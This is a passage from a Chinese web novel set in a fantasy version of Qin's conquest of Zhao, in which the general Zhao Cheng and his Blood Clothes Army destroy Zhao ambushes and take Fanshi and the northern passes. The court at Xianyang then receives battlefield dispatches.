下令之后,代郡边军士卒们纷纷呼吸急促起来,似乎想到了未来南下,平复秦军治乱,恢复赵国的英雄事迹。
但这畅想没有持续多久,后方突然传来惨呼和惊慌拔刀声音。
赵佐大怒,“谁!?谁敢暴露我军踪迹!”
“立斩不待!”
他严厉的斥责声没有能够压下后方的混乱,那惨叫声和惊慌拔刀声反而愈发激烈。
血衣军如同鬼魅一般,突然出现在山林后方,直至摸到了伏兵阵营后方,伏兵阵营都没有发现异常。
两千血衣军极速掠入,将一片片的伏兵抹了脖子,伏兵们听到动静,才仓促反击起来。
但这不反击还好,一反击才知道血衣军之强。
他们的兵器在血衣军面前,就像是小孩子的玩具一般,被随意拨弄到一旁,亦或者是轻轻一震,就能够将兵器震掉。
他们的力量更是不够看,四五个人同时对抗一名血衣军,依然被轻松屠杀,转瞬间就会被尽数斩杀。
至于速度,鬼魅一般的血衣军更是能够后发先至,不但能够避开他们所有的攻击,出剑更是让人看不清楚。
有时候眼前一花,脖子就被血衣军砍了。
这种敌人,赵国边军们是见都没见过,惊愕半晌,才终于反应过来要提醒大军戒备。
“敌袭!!是敌袭!!”
“血衣军从后面杀过来了!"
“什么!?“
“血衣军不是在全速行军吗?怎么会出现在我们后面的!?”
后方士卒们接连惊呼发声,让刚刚还在鄙视血衣军的边军将士们纷纷惊疑不定。
赵佐眼睛一瞪,不敢置信地看向后方。
只见林子深处影影重重,好似有百鬼横行,速度之快,往往只能看到一个影子闪过,而后就有血花迸射而出。
血光不断乍现。
赵佐的冷汗一下子就冒了出来。
第162章 戟卷赤潮吞伏甲,箭穿残魄破藏将
这赵佐倒也不是酒囊饭袋,只不过跟着李牧打胜仗打多了,下意识地感觉打仗很简单。
几次率领极少的兵力就能够击败匈奴大股兵力之后,更觉得自己是精通兵法谋略的天才。
如今见到血衣军突然出现在伏兵后方,他哪里还不知道自己早就被血衣军发现了。
“血衣军竟然如此敏锐!?”
“在我部毫无所觉的情况下,如此绕后,其中斥候实力,远胜我部多矣!”
血衣军不但发现了伏兵,还能够在自己毫无所觉的情况下,派兵绕行包抄自己一部,显然这血衣军不是自己所认为的那么弱。
他们的斥候和自己的斥候,根本就不在一个层面上。
那血屠更不是酒囊饭袋。
明面上大摇大摆攻来,实际上早就已经布置好了一切。
赵佐当机立断,立刻下令反击,“反击!!”
“他们人数很少!立刻杀了他们,撤退!”
听到赵佐命令的伏兵心中稍定,开始有组织地进行反击。
对方主力部队距离这里还有一些距离,只要能够在短时间内,将这些绕后包抄的血衣军全部击杀,他们就有机会从后方突围,而后从长计议。
代郡士兵听到了赵佐的命令,立刻反应过来。
对啊,这血衣军虽然绕后包抄了,但是他们主力部队又不在这里,就这点兵力,还能杀掉我们所有人不成?
“上!杀了他们!”
“一起上,咱们兵力更多,堆也堆死他们!”
“竟然敢绕后打我们,找死!”
“兄弟们,杀!”
随着代郡的士卒们组织起攻势反击,一时之间,密林深处掀起了一场腥风血雨。
代郡士兵们没头没脑地冲锋,而后被血衣军摧枯拉朽一般屠杀。
以血衣军现在的实力,别说代郡这些精锐边军,就算是胡刀风骑,也未必是他们的对手。
伏兵们不反击,死的还慢点。
这一反击,战况陡然激烈起来,伤亡速度在极速攀升。
一个个就像是主动送到血衣军的剑刃上去一样。
血衣军战士一个个那是将长剑舞出了花来,道道寒光残影横飞之际,飞快掠夺着代郡士卒们的性命。
“这……这血衣军是什么怪物!?”
“怎会如此?这血衣军怎会各个力大如牛,奔走如虎的!?”
“这比匈奴强太多了,根本打不了!”
“完了,我们营最强的锐士,连一个照面都没有挺住,直接就被血衣军的卒子杀了!”
“那血衣军什长,一剑斩杀我军四五人,妖魔乎!?”
“这还怎么打,快跑!!”
代郡普通边军根本无法抵抗血衣军,即使是以两万对两千,数量也无法弥补质量。
这就像是狼和羊的区别,羊再多,也只会被狼追着跑。
两千血衣军,很快将后方的边军杀破了胆,伏兵开始溃散奔逃。
“不能跑!!逃兵杀无赦!!”
“还敢跑,给本将死!”
眼看自己麾下士兵都跑向了血衣军主力的方向,赵佐急了,拔剑就杀。
然而就算是杀了好几个逃兵,也无济于事,这些代郡的精锐已经在血衣军的强大攻势之下,完全丧失了斗志。
已经达到了慌不择路的地步。
赵佐一个人又能杀掉他们几个人?
那些血衣军却是围杀而来,只要停留片刻,必死无疑!
赵佐只能眼睁睁地看着队伍向着血衣军行进的方向溃散。
他登时眼前一黑。
“完了,被这血屠算计了……”
而另一边,赵诚则是带着血衣军疾奔起来,开始猛冲。
加速,不断加速。
直至风驰电掣时,大量的代郡伏兵全都被后方的血衣军赶到了正前方。
不少代郡伏兵一抬头,天都塌了。
怎么他娘的跑这来了,谁带的路?
两千血衣军尚且杀得他们溃不成军,这上万血衣军冲来,还不尸骨无存?
伏兵们立刻四散而逃。
但已经完全晚了。
赵诚早已经布置好了包围圈,不但他们后方有人,就连左右,都有血衣军一冲而出,向着他们杀来。
那为首的如山大将,裹挟着浓烈的煞气,倒提大戟,横扫千军。
这一扫之下,那是腥风无尽,血雨漫天。
只是眨眼功夫,前方便是一片血色。
神骏的马蹄踏着血路奔驰向前,大戟更是劈裂腥风,卷起无尽罡风龙卷,连地面都不能幸免。
其所过之处,有若飞沙走石,卷着红色鲜血,掠夺着生命。
【你击杀一名敌人,夺寿三十二年!】
【你击杀一名敌人,夺寿十三年!】
【你击杀一名敌人,夺寿二年!】
……
前后不过片刻功夫,赵佐所带来的代郡精锐伏兵,便已经全部死尽。
大部分被赵诚杀死的,连全尸都没有留下。
独留赵佐一个人站在密林之中,两股战战,整个人被恐惧和绝望笼罩。
“这……这就是血屠阎罗?”
果然只有起错的名字,没有起错的外号。
没有见过赵诚屠杀的人,永远也无法真切地理解这四个字的血腥煞气。
只有亲眼看上一次,赵佐才明白,血屠阎罗四字,根本无法概括此人之煞!
“喔?还有一个。”
马上的赵诚眸光一动,锁定了站在密林之中的赵佐。
这一刻,赵佐只觉得一股冲天煞气,好似大山崩塌一般,迎面压迫而来。
浓浓的死亡气息,实质般冲击他的脑海和心脏。
让他脸色瞬间苍白如纸,浑身冰凉,好似掉进了冰窟。
“别……别杀……”
嚟!
一声尖锐嘶鸣响起,一枚箭矢以肉眼难见的速度,直接贯穿了赵佐的眉心,一透而过消失不见。
因为箭速太快,赵佐倒下之后,才开始流出鲜血来。
“看来代郡的人不是很识相,杀进去吧。”
整个血衣军疾冲起来,有如箭矢穿过被残阳染成血红色的南界群山,射向繁畤城……
第163章 箭碎顽石惊赵骑,城分忠佞待屠刀
“快点!再快点!别让那赵佐把功劳全都抢了!”
“希望那血衣军如同传闻之中所说的那样,有点实力,不要一个照面就被赵佐灭尽了,不然的话,这次都真让他出了风头了。”
赵正青带着一万骑兵绕后包抄,如今正绕到群山之南,眼看就要抵达赵佐设下埋伏的地方,甚至已经能够听到远处传来的喊杀声音了。
他急啊!
只要翻过这座山,就可以绕到血衣军后面,到时候血衣军前有伏兵,后有包抄,插翅难逃。
而作为后方切入的骑兵军队,他们能够收割许多血衣军的军功。
但这短短一段路程,就像是望山跑死马一样,十分的漫长。
赵正青急得连连策马,更是不断催促后方的骑军,加快速度。
可就在即将翻过官道的时候,那激烈的喊杀声已经渐渐衰弱了下去,而后一片安静。
赵正青长叹一声,“唉,还是晚了一步,没想到这血衣军竟然如此不堪一击!”
“连赵佐这等自大之辈都能够在如此短的时间里面,将其全灭,可见这血屠阎罗,是徒有其名。”
“走吧,我们去处理战场。”
虽然瞧不上赵佐,但大家毕竟并肩作战了多年,就算功劳没捞到,也不能晃一圈就回去。
面子上的功夫还是要做的。
他放缓了马速,带队慢悠悠地行向窄道。
然而向前刚走了一段,赵正青就紧紧皱起眉头来,“怎么杀得如此血腥,赵佐是和这血屠阎罗有什么仇怨吗?”
前方整个窄道,包括密林,都是一片猩红。
那是尸骨如山,血流成河,地面都变成了暗红的泥泞。
更有一大片密林完全被摧毁,好似受了什么天灾一般。
赵正青见到那满目疮痍的战场痕迹,脸色凝重了一些,“赵佐应该没有这个本事,这是怎么弄出来的……”
“而且,赵佐这家伙跑哪去了,打完了竟然不收拾战场?”
他渐渐察觉不对,又加快了马速。
行至血腥战场上,到处都是一片血腥,有若人间地狱,就连他都感到有些不适,后方的一些年轻士兵更是脸色苍白,差点吐了出来。
战况太惨烈,赵正青也一时没有分辨出来尸体的阵营。
直至向前走了一段,才终于看到死的不那么凄惨的尸体铠甲。
“这是……代郡边军的铠甲。”
“这个……这个也是!”
“这边也是,全都是赵佐一部的铠甲,血衣军的尸体呢?”
赵正青突然头皮一麻,浑身发冷。
他快速地游走在血腥的战场上,越走越是心惊肉跳。
每一个尸体都是赵佐部下的,没有一个陌生的铠甲和尸体。
“也就是说……死的是赵佐一部,血衣军一个没死!?”
赵正青睁大了眼睛,不可思议地印证着这个猜想,却根本不敢置信。
这个想法太恐怖也太吓人了,和他最开始的想法有着天壤之别。
那简直就是天宫和地狱的区别。
他不敢想,只要一想,就心头发颤。
正陷入恍惚之间。
密林之中传来一声惊慌大喝,“将军!!在这!”
这一声大喝,吓得赵正青整个人都跳了起来,差点一屁股坐在地上。
他心惊胆战朝着声音传来的地方跑去,却见好几名手下好似见了鬼一般,围在一处。
赵正青上前一看,倒吸一口凉气。
脚下,正是赵佐的尸体,眉心一个菱形孔洞完整平滑,好似用最锋利的刀,一点一点掏出来的。
“将军,箭……箭在这边……”
而在后方百步之外,一名手下声音颤抖地提醒着。
赵正青快速走过去,一看之下,又是心头一惊。
只见这距离赵佐百步之外的大石之上,插着一支再寻常不过的箭,已经快要没入了箭尾。
赵正青伸手摸了摸这箭尾。
咔噗一声。
箭尾瞬间粉碎,化作齑粉,连同石头内部的箭矢,全都碎裂成了粉末。
赵正青吓了一跳。
这他娘是什么恐怖的箭力?
他看了看石头,再回头看了看赵佐的尸体,脑海之中已经出现了这个画面。
那就是对方遥遥一箭射来,射穿了赵佐的眉心之后,箭矢去势不减,插入百步之后的青石之中,没入到箭尾。
可就算是边军之中,最为精锐的材官,也无法在百步之外,将箭矢射入青石分毫。
而此箭却在射穿赵佐之后,还拥有如此力量,岂不邪门!?
咕咚。
赵正青咽了口唾沫,浑身都紧绷起来,“原来不是血衣军被灭得太快,而是赵佐一部被灭得太快。
紧张之余,他又无比庆幸。
”幸好,幸好来晚了一步,实力差距如此之大,根本不可战胜。“
再联想到外面那如同遭了天灾一般的战场,他深吸一口气,“这就是传闻之中的血屠阎罗,此人不可力敌,咱们立刻离开此地,前往雁门求援!”
他娘的两万伏兵连个水泡都没冒出来,眨眼之间灭了个干净。
而现场更是连一个血衣军的尸体都没见到,这等实力,谁还敢上谁就得死!
想着,赵正青那是上马就跑,眨眼间奔出几丈之外,一套操作行云流水,一丝拖拉都没有。
其余骑军紧随其后,一个个是拼命奔逃,生怕血衣军突然杀个回马枪,把他们也都屠了。
一部原本要包抄后路的骑军,变成了绕后逃亡。
若非如此,他们也将化作血衣军剑下亡魂。
……
对于后方有人绕行包抄的事情,赵诚心知肚明。
但他们绕得太慢,没那个功夫等他们,就让他们跑了算了。
前方,还有一部大军陈兵策应呢。
却说另一边,繁畤城内,李牧旧部祝鸿站在城头,看着远处疾驰而来的血衣军,脸色无比凝重。
“收兵守城!赵佐一部恐怕已经全灭,赵正青一部也没了消息,恐怕已经被血屠屠尽!”
他下达命令,但命令却没有被立刻执行。
一名赵国贵族将领撇了撇嘴说道,“祝将军未免太过紧张,你难道没发现,血衣军之中已经少了一小半,兵力远远达不到之前的一万了。”
“且这部血衣军各个盔甲染血,正是一部残兵。”
“虽然赵佐无能,伏兵没有能够灭掉血衣军,此时不知道溃散到哪里去了,但连他都能灭掉小半血衣军,我等再次陈列重兵,难道还怕他这一部残兵不成?”
“传我号令,严阵以待!”
“是!”
“赵车!你敢临阵违命!?”
赵车一笑,“什么叫违命,你不过是李将军的副将,李将军在,你传达他的命令,我自然是遵守的,李将军都倒戈了,谁知道你是不是也与血衣军合谋?”
“现如今这代郡,是我赵国王室最后的力量,当然不能掌握在不知底细的人手中!”
“来人,把祝将军绑起来,让他好好看看,我赵车怎么排兵布阵,大败血衣军的!”
“呵,骑军,老子最擅长的就是打骑军!”
第164章 戟裂重城碎铁阵,血屠破甲碾边尘
代郡边军防备匈奴,而匈奴往往依赖游骑部队作战,所以边军确实非常擅长对抗骑兵。
赵国的胡刀风骑,就是从此而来。
他们十分精通针对骑兵的作战方式,而这些秦军却不知道他们如此精通对骑作战。
在赵车看来,只要利用好这等信息差,提前布置得当,对付骑军那简直不要太容易。
眼看血衣军只剩残兵,还全都是骑军,赵车自然不将其放在眼中。
城下铁拒马,壕沟陷阱,重装盾阵早就布置得铁筒一般。
只待血衣军入瓮,便合拢绞杀!
现在是不怕敌人冲,就怕敌人不冲。
只要对方冲过来,那必是让他们人仰马翻,葬身于此!
赵车对此信心十足。
现在唯一担心的,就是血衣军会止步不前,他站在城头,目光紧紧盯着远处的血衣军。
却见血衣军在赵诚的带领下,有如一道洪流一般,向着这城池冲来。
那城下重兵陈列的铁桶阵,在他们眼中,似乎就不存在一般,视若无睹。
“来得好!血屠阎罗果真够狂!”
赵车顿时露出了笑容,只等血衣军进入他部下的重阵,而后便下令合围!
然而就在这个时候,城池两侧陈列的两翼伏兵突然传来混乱的声音。
赵车眉头一皱,向着城侧看去。
脸色顿时一变,“这里怎么会还有另外的血衣军?”
城池东侧,竟然出现了两千有余的血衣军,正和主力部队一同,向着城侧冲击而来。
而另一边,西侧也有两千左右的血衣军飞奔而来。
一时之间,城池四周陈列的士兵都是有些惊慌。
这和他们一开始的布置完全不一样,他们有些乱了阵脚。
而赵车也是始料未及,在他看来,血衣军就算能够胜过赵佐一部,但在两万边军精锐的埋伏下,也要损兵折将。
可现在情况和他猜测的完全不一样,血衣军竟然还有一万人!
这就说明,赵佐一部对血衣军根本没有造成威胁!
他顿时惊怒起来,“赵佐真是饭桶!带着两万人,竟然连血衣军一千兵力都没有能够打掉!”
赵车立刻在城头挥舞令旗,临时下达命令,在城池三处同时接敌。
虽然情况有了些许变化,但他还是自信自己的布置能够对付血衣军。
而三侧的血衣军也在飞快地接近着。
百丈、五十丈、三十丈……
速度之快,好似前面不是一座城池,而是一马平川的平原。
赵车见状,脸上再次放松了起来。
“真敢如此速度冲阵,嫌自己死得不够快吗?”
城下壕沟之中,有着无数准备好的铁拒马,只待骑军队伍到达一定距离之后,下方的士兵就会将铁拒马突然推出来,狠狠固定在地面之上。
那些铁拒马的强度很高,而且极为锋利,地方骑军行进速度越快,杀伤力就会越强。
而血衣军到了这个距离,还保持着如此速度,那简直就是死路一条。
前面的骑军一翻,后面的骑军自己就会乱了阵脚,直接人仰马翻。
阵型一乱,光是骑军自己踩踏死的,就有无数。
他们再重兵一围,这就是血衣军的埋骨之地!
也是他赵车的扬名之地!
赵车似乎看见了一代名将,在这代郡之地冉冉升起。
"多年来要不是李牧压制,不让我施展自己的才华,还有他李牧什么事啊?“
赵车冷笑着,看着赵诚策马撞入了阵型之中。
而下方的层层壕沟之中,更有无数边军精锐熟练的将铁拒马推出,并将拒马的下角插入地面深处,以此来固定。
这样固定的铁拒马,可以做到越撞击固定越深,完全不会被撞飞。
眼见赵诚策马就撞向了铁拒马,赵车摇了摇头,想要点评几句,“血屠不过如此,还……
下一刻,却看到赵诚大戟一挥。
轰!!
巨响传来的同时,下方狂风呼啸,飞沙走石。
那层层叠叠,无数沉重的铁拒马,在一瞬间,被狂风刀刃刮成粉碎,而后像是暗器一般,向着后面射去,眨眼之间射穿了无数边军精锐的身体。
惨叫声无数的同时,那罡风龙卷一往无前,将地面都刮起三尺,沿着飞沙走石,直直将地面上的壕沟几乎填平!
而壕沟里面的边军精锐,更是在被铁拒马碎片刺穿之后,又被砂石掩埋在了其中。
可谓是,管杀也管埋!
非常仁义了!
轰隆的声音向着四面传来,在赵诚正前方的边军精锐,和所有布置,在一瞬间化作齑粉。
飞沙走石之下,鲜血挥洒。
两侧的边军一时间看得目瞪口呆,肝胆俱裂。
“这……这是什么妖术!?”
“传闻是真的,那血屠是妖孽!”
“血屠阎罗,他就是血屠阎罗!”
“完了,他冲进来了!”
赵诚一马当先冲入重阵之中,一戟下去,连重盾兵带铁拒马,那是一起撕裂成碎片。
山岳一般的攻势,迅速摧枯拉朽。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!在这铁筒一般的阵型之中,轻松撕开一个巨大的豁口。
而在他身后的血衣军,也根本无惧那些壕沟和拒马。
他们骑术精湛,武器精良,矫健骁勇。
有的直接策马一跃,便能够轻松越过铁拒马和壕沟,在战场上辗转腾挪,不需要下马,也是灵活地在敌阵之中游龙,带走一条条边军的性命。
有的则是武器一挥,直接将拒马击飞,打入后面的壕沟,导致这些拒马不但没有能够阻挡血衣军,反而将赵国边军压制在了壕沟之内,被动挨打,几刀下去,就斩了个干净。
更有甚者,代郡边军还没有看到血衣军,就直接被一箭射穿了脑门,死的悄无声息。
赵车结合多年抵御匈奴经验,花尽心思弄出来的铁筒重阵,在血衣军绝对的实力面前,就像是纸糊的一般不堪一击。
只是眨眼之间,三面战场,同时糜烂。
血衣军长驱直入,从三个方向切入重阵之中,四面屠杀。
赵车看着那些往日里能够轻松击杀匈奴袭扰的精锐,此时就像是被杀鸡宰狗一般杀戮,整个人都茫然了,大脑更是一片空白。
“怎会如此!?”
“血衣军怎么能够强到如此地步!?他们不是才练兵了几个月而已嘛,几个月的时间,能够让一个军队全部蜕变成怪物!?”
“血屠到底给他们施展了什么妖术!?”
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第165章 血戟破城绝赵脉,残兵跪降纳燕云
城下血衣军冲杀肆虐,滚滚煞气席卷,拍上城头,如同惊涛裂岸。
就算是赵车站在高处,依然为之胆战心惊,不敢多看下方那血屠一眼。
不过是一盏茶的功夫,下方的战事已经快要接近尾声。
他陈列的重兵,在如此短的时间内,已经快要被血衣军屠尽了。
至于他布置的那些对付骑军的东西,那是一点都没有派上用场。
陷入惊恐茫然的赵车陡然回神,浑身一个机灵,“不好,这样下去,代郡就完了!”
“我……我得去找祝鸿!”
这个时候,他终于想起了被他绑起来的祝鸿。
祝鸿毕竟是跟随李牧多年的副将,或许他能够接管战事,对抗血衣军。
然而被松绑了的祝鸿怒气冲冲地骂了赵车一番之后,刚刚走出大营,就听到外面传来震天动地的一声轰鸣,地面都颤了三颤。
而后外面喊杀声震天响。
不过这喊杀声不是己方传出的,己方传出的只有惨叫惊呼与哀嚎。
祝鸿脸色一变,“怎么回事!?”
赵车脸色难看,“难道,难道是血衣军杀进来了?“
祝鸿咬牙道,“战事不利,你难道不知道撤回重兵,而后紧闭城门?”
赵车说道,“关了,我下来的时候,就命令紧闭城门,严防死守,那血衣军就算强攻,也能够支撑到你敢来主持大局啊。”
祝鸿都气笑了,一开始老子要主持大局你特么不让。
现在主力都快要被别人杀干净了,剩下一片烂摊子你给我了。
祝鸿心中的气愤现在还没有消散,但现在不是计较这些的事情。
若非血衣军足够强大,这赵车也不会醒悟。
好在也不算是无可救药,在这么短的时间里面就已经醒悟。
他被绑起来没有多久赵车就醒悟过来找他认错了。
按照这个时间来算,局面就算有些糟糕,也不会太过糟糕。
有他重掌大局,就算不能逆转局势,稳住一二还是有些信心的。
“随我登上城头!”
祝鸿轻喝一声,朝着城楼方向快速赶去。
然而城中那激烈的战斗声音越来越近,而边军精锐们的惊呼惨嚎声音也是越发激烈。
祝鸿甚至看到远处一个将领,正面露惊恐地带队奔逃,口中还在大喊着什么,“血屠阎罗来了,快跑,快跑!!”
祝鸿眉头一皱,往日里打匈奴一个个嗷嗷叫着上,现在怎么这么怂?
他看了一眼旁边的赵车,心说真是将熊熊一窝,这才让他带了多久,就已经把兵带成了这个样子。
果然将领无能,麾下打了败仗,士气就会受到影响。
他噌的一下把剑拔了出来,大喝道,“都不准跑,逃兵杀无赦!"
声音落下,场面很尴尬,因为没人听他的。
随着远处马蹄声如雷快速接近,诸卒那是闻风丧胆,亡命奔逃。
局面实在太过混乱,这样下去,来不及他登上城头,下令重新稳住阵脚,战事便会彻底糜烂。
“来不及去城头了,先登上高亭!”
不得已之下,祝鸿爬上城中警戒用的高亭,准备在高处俯瞰全局,而后做出相应的对策。
他一口气往上爬,低头一看,赵车却没有跟上,反而跟着溃兵一起逃散。
他深深叹了口气,对赵车彻底失望,也没有去管他。
而是自己爬上了高亭,深吸了一口气,做了一番心理准备,而后俯瞰全城。
饶是做好了心理准备,这一看之下,也是眼前一黑,差点栽下去。
“赵车!!!”
他不甘又愤怒地大吼。
这城中,哪还剩下多少精锐,寥寥几只精锐部队,那也是溃散的到处都是。
而血衣军竟然连破三处城门,全面攻入了城中,在城中四面冲杀,锐不可当,无人可当。
尤其是那一员高魁大将,挥舞着大戟,一下就能斩杀一片。
人都快死没了,这还他娘的有什么大局可以主持?
别说他是李牧旧部,就算是李牧亲自来了,不,就算是赵国历代名将都在这里,这一仗也特么打不了!
他既愤怒又震惊,愤怒于赵车轻敌,将如此关键的一战,打成了则个鬼样子。
震惊则是因为,他明明被绑起来没有多久的时间,血衣军不但将城外的重兵杀得七七八八,更是冲破了城门,杀入了城中!
这太快了!
说是摧枯拉朽毫不夸张!
看着那如入无人之境的血衣军,祝鸿长叹一声,“赵国亡矣,代郡亡矣!”
“既然如此,吾也该随国而去!”
他提着长剑,站在高台之上,狂风掠动他的头发,一双老眼之中满是苍凉。
片刻后,似乎下定了决心,他站在高亭的围栏之上,目光紧随那血屠身影。
待得那如山大将冲到高亭之下,便一跃而下。
携下坠冲势于一身,集毕生心念于一剑,直逼赵诚咽喉!
赵诚正杀得兴起,大戟勇猛挥砸。
突然,嘭的一声,有什么东西撞在了大戟上面,而后消失不见。
本小章还未完,请点击下一页继续阅读后面精彩内容!赵诚扭头看了看,没看到什么东西。
“什么玩意闪过去了?”
“不管了,接着杀!”
代郡的边军很是铁血,没有投降的习惯。
巧了,赵诚也没有收降的习惯。
双方很是默契,一味地杀与被杀。
当然,边军溃散的也很快,在城中杀了一阵之后,血衣军便已经没有再遇到什么抵抗了。
剩余不多的边军,全都涌到小城北门逃窜。
但被赵诚布置在这里的五百血衣军吓退,上天无路,入地无门。
关键时刻,又是赵车站出来了,他上前几步,在赵诚大戟抬起来之前,便噗通一声跪在地上。
“将军饶命,吾愿追随将军,为秦国效力!”
“酒囊饭袋,秦国不要。”
抬起的大戟一闪,赵车的头颅瞬间飞起。
这让其余赵国边军心中一寒,有人奋起余勇,想要再做抵抗,却被同袍拉住了。
一名年轻一点的将领越众而出,不敢去看赵诚,大着胆子问道,“将军,可要收降?”
“吾麾下士卒,都是能杀匈奴的大好儿郎,若为秦军,亦可为秦抵御匈奴。”
赵诚看了看这些还有余勇的边军,若非那几名将领见势的快,带着这些士兵跑路,现在这些士兵恐怕也已经被血衣军杀掉了。
可见赵的边军,还是很有些血性的。
“还算悍勇,便留着你们在此,迎接后方蒙部秦军,届时如何编入秦军,由蒙武将军决定。”
赵诚甩了甩大戟,大戟上面的鲜红血珠滑落,整个大戟瞬间光亮如新,好似从未沾染过鲜血一般。
片刻之后,他已经是带着血衣军奔出城去,继续北上。
甚至没有留下一兵一卒看守这些伏兵。
在他看来,这些伏兵心气已经没了,更是群龙无首,对蒙武而言实在没有什么威胁了。
血衣军如疾风略草飞快北上。
一日之后,攻下灵丘铁壁关。
又一日,占领飞狐口天险。
两战之后,雁门关送来降书,由赵正青亲自送来。
赵诚回师邯郸。
至此,赵国全境尽属秦也。
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第166章 王翦点醒拓疆志,嬴政銮驾叩邯郸
“报!血衣军攻克繁畤城……”
“报!血衣军打下灵丘铁壁关……”
“报!血衣军再下一城,飞狐口天险已破……”
“报……”
大帐之中,蒙武看着军报,感觉有点上火。
他接手驻军的速度,还没有赵诚攻克得快。
“太快了,这小子真是太快了。”
谁他娘的这样打仗啊,大家攻城,都得先围上一段时间,你来我往钩心斗角一番,而后一点一点蚕食敌方的兵力和士气。
赵诚倒好,冲过去,攻克,然后就走。
敌方的重城,几乎是在被他看见的那一刻,就已经被攻破了。
简直不是人!
这让蒙武感觉轻松之余,又有一种学了多年兵法,全都没了用处的感觉。
“罢了罢了,加速行军,速速赶往繁畤城!”
这捷报频传,催得他肉眼可见的憔悴了。
没办法,吃不好睡不好,每天都在赶路。
另一边,王翦也是比蒙武好不到哪里去。
看着军报,他第一次没有露出笑容,而是叹息了一声,“又下一城……距离繁畤城被破,才不过一日时间吧?”
一旁的王贲不敢置信道,“铁壁关可是赵国边境重关啊,这速度,是真的吗?”
王翦看了看自己的儿子,似乎看到了那平静面容之下的一丝嫉妒和不甘。
也是,若自己年轻的时候,和这等神将同处一个时代,也会有这样的感受吧。
不过儿啊,你可不能跟他比。
他思索了一下,说道,“吾儿,你如何看待赵将军?”
王贲有些意外于王翦的语气,斟酌着回答道,“神勇无比,锐不可当。”
王翦点了点头,“赵将军之勇,万古难寻,说是以一敌万,也是毫不夸张。”
“其练出来的血衣军,亦是锋锐无比,其骁勇程度,远超你的想象。“
“这样的人为秦而战,是大秦之幸,亦是你之幸事啊。”
听到这里,王贲眼中的不甘和不服气更盛一些。
“就算没有赵将军,秦国有我王贲,亦能一统天下!”
王翦摇了摇头,“你能三日取邯郸?又能一日破铁壁关哉?”
王贲抿了抿嘴,“不能。”
别说一日,就算是一个月,他都未必能拿得下。
“那给你一年的时间,你能以一成的战损拿下邯郸,拿下代郡吗?”
王贲微微低头,艰难道,“也不能。”
王翦再次问道,“若为父给你做副将,你能做到吗?”
王贲深深叹了口气,“不能。”
王翦拍了拍他的肩膀,“不必丧气,为父也做不到。”
“自陛下主政以来,为父多次攻打赵国,都被李牧抵御。”
“麾下儿郎损失无尽,不论赵国还是我秦国,都是损失惨重。”
“唯一庆幸的是,为父顶住了压力,没有出现大败的战局。”
“战场上千变万化,一念之差,便会万劫不复,这一生如履薄冰,殚精竭虑。”
“若是有一人在为父前方顶住压力,横扫诸敌,则不必如此。”
“故赵诚在秦,是汝之幸事。”
“而自赵诚横空出世以来,我大秦连下韩、赵两国,而兵力损耗不足一成!”
“此为秦之幸事。“
“固然,大丈夫生于天地,当立不世之功。但你要明白,赵诚不是你战场上的阻碍,而是你战场上的靠山。”
“有他在一天,大秦便稳如泰山,你总有无尽的军功可拿。”
“汝不见这天下之大,何止燕赵诸国?”
“北有东胡,南有百越,西有羌敌,东有外夷,你的眼光不要局限在这一隅之地,格局要打开,看一看此世外族,皆是无尽之功。”
“如今陛下正值壮年,雄心勃勃,又有赵诚这等不世之锋,自当兵出天下,造万世之基业。”
王贲听到此处,瞳孔颤动不休。
他从未想过未来会有一天,带兵去征服那些外族。
他一直以来想的,都是如何对付诸国,让燕赵诸国的子民,都为秦民。
却没有想到,父亲王翦已经将目光放到了整个世界。
若是这样看,那何止军功无尽,可能他这辈子都打不完啊。
莫说是他,就算是集结整个大秦之力,也未必能够征伐得过来。
他越想,心中越是震撼,也越是醒悟。
他终于明白王翦所说的,赵诚在大秦是他的幸事这句话。
有赵诚在,秦国就能够以最小的损耗,最快的速度一统诸国。
有赵诚在,一统六国也不会是秦国的终点,而是秦国的起点。
一统六国之地,则秦国国力愈发强盛,自然会继续征战四方。
这蛋糕太大了,他想想都觉得吃不过来,哪里还会觉得既生诚何生贲?
王翦看着王贲的目光变化,心中终于算是松了口气。
终于醒悟了,不枉他一番苦心。
他倒也不是不想告诉王贲,赵诚乃是王上长子。
实在是此事太过隐秘,告诉王贲恐怕害了他。
如今王贲醒悟,自然会抱紧赵诚大腿,他也可以放心了。
片刻后,王贲抬头肃拜,“父亲,吾明白了。”
王翦点了点头,“既然明白了,明日你就带兵赶往灵丘,接纳俘兵,占领铁壁关。”
王贲一愣,觉得王翦肯定是给他磨炼的机会,于是再次肃拜,“是!”
王翦露出笑容来,看了看军报,心说终于不用赶路了,儿子就是这时候用的!
……
咸阳城。
章台宫殿前广场,三百名材官虎贲手持长戟,身着玄色铠甲,腰悬秦剑,护卫在前。
后方停着一辆金根车。
此车以青铜鎏金装饰,绘日月星辰图案,由六匹纯黑马牵引,车厢内铺鲛绡软垫,外设羽盖。
后随五辆“副车”,分别供侍臣、符节令、太医等随行人员乘坐,形成出巡邯郸的规制。
嬴政坐于金根车上,目光之中闪动着复杂思绪。
赵国……
邯郸……
寡人回来了!
”起驾……“
正这时,有脚步匆匆而来。
郎中令捧着一封急报快步而来,李斯紧随其后。
“陛下稍待!前线急报……”
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第167章 李信表奏惊朝野,嬴政停驾待封疆
又有急报?
金根车之中,嬴政眉峰微微挑起,显得有些惊讶。
前线战事僵持,没有个几个月时间,恐怕也不会出现重大胜利或者失利,怎么会在这个时候传来急报?
“是何部急报?”
嬴政的声音传出金根车,李斯缓了口气,才振奋说道,“是李信一部!”
李信一部?
李信不是剑走偏锋,被李牧围了吗?
难道已经突围出来了?
前线军情每每出现变化,都会传递情报到咸阳之中,虽然传递速度算不上快,但李信被围一事,已经算是重大军情,所以嬴政早就知晓。
嬴政对于李信冒进之事稍有不满,不过若能够突围而出,也算是好事。
“宣读。”
李斯展开急报,宣读道:
“臣李信昧死顿首:
臣率军冒进,陷番吾之围,时有五万赵军精锐环伺,臣部困守三日,矢尽粮绝,士卒几近崩溃。
当此绝境,臣妄言援军将至,实无半分把握,唯求提振士气,勉力死战。
夜半攻城急,赵军如蚁附城,臣已抱必死之心,亲率残部搏杀。
忽闻城头欢呼雷动,遥望一道魁影自暗夜跃出,玄氅猎猎,大戟擎天,乃赵将军诚也!
将军单骑冲阵,一戟裂地,崩赵军前锋十数丈,残肢断臂飞散如雨。
胡刀风骑悍勇来犯,将军戟出如电,横扫千军,须臾之间,三千风骑尽为齑粉,血流成河,尸积如山。
赵军见状魂飞胆裂,溃不成军。
及血衣军继至,首尾夹击,臣部士气大振,随将军追杀,终歼敌三万有余,俘将校百二十余人,番吾之围遂解。
